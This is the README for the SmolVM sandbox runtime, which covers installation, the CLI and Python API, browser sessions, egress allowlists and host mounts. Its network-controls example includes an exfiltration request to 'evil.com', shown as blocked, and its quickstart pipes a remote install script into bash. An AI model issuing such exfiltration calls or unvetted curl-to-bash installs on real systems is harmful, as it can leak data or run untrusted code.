smolvm 0.0.12

Secure runtime for AI agents, and tools -- free and open-source from Celesto AI

SmolVM

Secure, isolated computers that AI agents can use to browse, run code, and get real work done.

Quick start • Examples • Features • Performance • Docs • Community Slack

---

SmolVM gives AI agents their own disposable computer. Each microVM boots in milliseconds, runs any code or software you throw at it, keeps state when you need it, and vanishes when you don't — nothing touches your host.

Features

• Sub-second boot — VMs ready in ~500 ms.
• Hardware isolation — Stronger security than containers.
• Network controls — Domain allowlists for egress filtering.
• Browser sessions — Full browser agents can see and control.
• Host mounts — Give sandboxes read access to local directories.
• Snapshots — Save and restore VM state instantly.
• Coding agents — Start enviornment with a pre-installed coding agent.
• OpenClaw — GUI Linux apps inside a sandbox.

Use cases

• Run untrusted code safely. Execute AI-generated code in an isolated sandbox instead of on your machine.
• Give agents a browser. Spin up a full browser session that agents can see and control in real time.
• Let agents read your project. Mount a local directory so agents can explore your codebase inside a sandbox.
• Keep state across turns. Reuse the same sandbox throughout a multi-step workflow.

Quickstart

Install SmolVM with a single command:

curl -sSL https://celesto.ai/install.sh | bash

This installs everything you need (including Python), configures your machine, and verifies the setup.

Manual installation

pip install smolvm
smolvm setup
smolvm doctor

On supported Linux and macOS systems, pip install smolvm also pulls in the matching smolvm-core wheel automatically. Most users do not need Rust installed.

Linux may prompt for sudo during setup so it can install host dependencies and configure runtime permissions.

For golden-AMI builds, two-stage deploys, pinning the Firecracker version, and other non-default install paths, see docs/installation.md.

Start a sandbox in Python

from smolvm import SmolVM

vm = SmolVM()
result = vm.run("echo 'Hello from the sandbox!'")
print(result)
vm.stop()

Start a sandbox from the CLI

Create a sandbox, check that it's running, then stop it:

smolvm create --name my-sandbox
# my-sandbox  running  172.16.0.2

smolvm list
# NAME         STATUS   IP
# my-sandbox   running  172.16.0.2

smolvm stop my-sandbox

Open a shell inside a running sandbox:

smolvm ssh my-sandbox

Coding agents

It sucks to “press enter and accept changes” every few seconds while using coding agents. SmolVM makes it easy to isolate the agent coding environment from the host (laptops).

With a single command you get a claude/codex pre-installed sandbox ready with git credential to make you build a billion dollar business without making any mistake ;)

smolvm codex start  # start a new environment with codex preinstalled

smolvm claude start  # start a new environment with claude preinstalled

smolvm pi start  # start a new environment with the Pi coding agent preinstalled

Browser sessions

SmolVM can also start a full browser inside a sandbox. This is useful when agents need to navigate websites, fill out forms, or take screenshots.

Start a browser session with a live view you can watch in your own browser:

smolvm browser start --live
# Session:   sess_a1b2c3
# Live view: http://localhost:6080

Open the URL to watch the browser in real time. When you're done, list and stop sessions:

smolvm browser list
smolvm browser stop sess_a1b2c3

See examples/browser_session.py for the Python equivalent.

Network controls

By default, sandboxes have full internet access. You can restrict which domains a sandbox can reach by passing internet_settings:

from smolvm import SmolVM

vm = SmolVM(internet_settings={
    "allowed_domains": ["https://api.openai.com"],
})

vm.run("curl https://api.openai.com/v1/models")    # allowed
vm.run("curl https://evil.com/exfiltrate")         # blocked

See docs/concepts/network-egress-controls.md for how it works under the hood.

Mount host directories

You can give a sandbox access to a folder on your machine. This is useful when an agent needs to work with an existing project without copying files back and forth.

smolvm create --mount ~/Projects/my-app
smolvm ssh my-sandbox
ls /workspace   # your host files appear here

By default the host folder is read-only — the sandbox can read every file, but changes stay inside the sandbox and never touch the originals. If the agent creates or edits files under /workspace, those changes live only in the VM's overlay layer.

Mount at a custom path, or mount multiple directories:

smolvm create --mount ~/Projects/my-app:/code --mount ~/data:/mnt/data

When you do want the sandbox to edit your host files, add --writable-mounts:

smolvm create --mount ~/Projects/my-app --writable-mounts

Every directory passed with --mount becomes writable; writes from the guest are visible on the host immediately. The flag applies to all mounts on that command, so don't pair a folder you want the sandbox to modify with one you want kept untouched.

The same works from Python:

from smolvm import SmolVM

with SmolVM(mounts=["~/Projects/my-app"], writable_mounts=True) as vm:
    vm.run("echo hello > /workspace/from-sandbox.txt")

Examples

Getting started

What you'll learn	Example
Run code in a sandbox	quickstart_sandbox.py
Start a browser session	browser_session.py
Pass environment variables into a sandbox	env_injection.py

Agent framework integrations

These examples show how to wrap SmolVM as a tool for popular agent frameworks, so an AI model can run shell commands or drive a browser through your sandbox.

Framework	Example
OpenAI Agents	openai_agents_tool.py
LangChain	langchain_tool.py
PydanticAI — shell tool	pydanticai_tool.py
PydanticAI — reusable sandbox across turns	pydanticai_reusable_tool.py
PydanticAI — browser automation	pydanticai_agent_browser.py
Computer use (click and type)	computer_use_browser.py

Advanced

What it does	Example
Install and run OpenClaw inside a Debian sandbox with a 4 GB root filesystem	openclaw.py

Each script shows its own pip install ... line when it needs extra packages.

Security

SmolVM automatically trusts new sandboxes on first connection to keep setup simple. This is safe for local development, but you should not expose sandbox network ports publicly without extra controls. See SECURITY.md for the full policy and scope.

Performance

SmolVM ships a benchmark suite that measures the timings AI agents actually feel: cold start, time-to-interactive, pause/resume, and snapshot create/restore. It drives the public Python SDK on whichever backend is native to your host — Firecracker on Linux, QEMU on macOS.

Run it locally:

uv run python scripts/benchmarks/bench.py

See scripts/benchmarks/README.md for flags, output format, and what each metric means.

Contributing

See CONTRIBUTING.md to get started.

License

Apache 2.0 — see LICENSE for details.

---

Built with 🧡 in London by Celesto AI